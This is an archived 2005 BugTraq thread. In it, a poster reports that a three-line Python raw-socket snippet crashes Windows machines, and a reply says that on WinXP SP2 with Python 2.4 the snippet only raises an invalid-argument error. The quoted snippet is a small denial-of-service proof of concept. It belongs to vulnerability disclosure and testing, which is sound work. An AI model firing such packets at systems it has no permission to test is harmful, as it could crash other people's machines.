BugTraq
Possible windows+python bug Mar 22 2005 12:21PM
liquid cyberspace org (1 replies)
Re: Possible windows+python bug Mar 22 2005 06:37PM
Neil Schemenauer (nas-bugtraq arctrix com)
On Tue, Mar 22, 2005 at 12:21:18PM -0000, liquid (at) cyberspace (dot) org [email concealed] wrote:
> Start Python and type (of course x.x.x.x should be replaced with
> IP address):
>
> import socket
> s=socket.socket(socket.AF_INET,socket.SOCK_RAW,4)
> s.sendto("",("x.x.x.x",0))
>
> Press ENTER and your win box should crash immediately.

I tested this on WinXP SP2 with Python 2.4. The result is an
exception:

socket.error: (10022, 'Invalid argument')

I don't have Python 2.3 installed otherwise I would test that too.

Neil

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus